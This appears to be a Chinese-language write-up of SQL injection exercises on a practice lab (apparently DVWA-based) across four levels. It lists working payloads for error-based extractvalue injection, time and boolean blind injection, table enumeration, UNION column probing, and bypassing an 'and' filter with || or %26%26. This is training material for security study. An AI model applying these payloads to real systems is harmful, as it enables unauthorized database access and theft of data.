前言: 靶场自取
level-1 测试注入点POC: 1,1',1'',1"",1/1,1/0
==》存在注入点
爆破POC: id=-1'+and+extractvalue(1,concat(0x7e,user(),0x7e))--+
level-2 尝试注入点POC1:admin' POC2:admin'' POC3:admin''+and+sleep(3)--+ POC4: admin'+and+if(1,1,0)=0--+ POC5: admin'+and+if(1,1,0)=1--+ ==》 POC1,POC2没有反应 POC3存在延时输出,存在休眠盲注 POC4、POC5存在content-length周期变化,存在布尔盲注
爆破尝试盲注
step1: 爆破数据库名 ==》 数据库长度为4
step2: 获取数据库每个字符 ==》 database: dvwa 同理得到用户名:root@localhost
==》爆出表名 POC:id=admin'+and+if(substr(concat(0x7e,(select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())),0x7e),§1§,1)='§a§',1,0)--+ ==》得到表名:guestbook,users
level-3 测试注入点利用1,1’,1",1/1,1/2 ===》 a. 存在注入点 b. 注入点是表名,猜想sql语句为select * from '$id$ where user_id='1' LIMIT 0,1
爆破POC=id=(select(extractValue(1,concat(0x7e,(select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())),0x7e))))as+a--+ 3. 尝试表名 4. 尝试爆破其他字段
方式一:union方式
step1: 获取列数(二分法) POC1: id=users+order+by 10 //不回显 POC2: id=users+order+by 5 //回显 POC3: id=users+order+by 7 //回显 POC4: id=users+order+by 8 //回显 POC5: id=users+order+by 9 //不回显 ===》 8列
step2: 获取回显位 POC: id=users+where+user_id=-1+union+select+1,2,3,4,5,6,7,8--+ 注意这里需要手动构造where user_id=-1 ==》 回显位:4,5
step 3: 爆破数据
爆破用户名、数据库 POC: id=users+where+user_id=-1+union+select+1,2,3,user(),database(),6,7,8--+方式二:报错函数方式
爆破用户名 POC: id=(select(extractvalue(1,concat(0x7e,user()))))as+a--+ 爆出数据库 POC: id=(select(extractvalue(1,concat(0x7e,database()))))as+a--+ level-4 测试注入点POC: 1'、1"、1""、1/0、1/1,sleep
==》 id=1存在注入
爆破 POC: id=1'+and+extractvalue(1,concat(0x7e,user(),0x7e))--+==》and被转移为_了
尝试使用||代替and。 POC: id=1'+||+extractvalue(1,concat(0x7e,user(),0x7e))--+==》成功爆破
尝试%26代替 POC: id=1'%26%26+extractvalue(1,concat(0x7e,user(),0x7e))--+ ==》成功爆破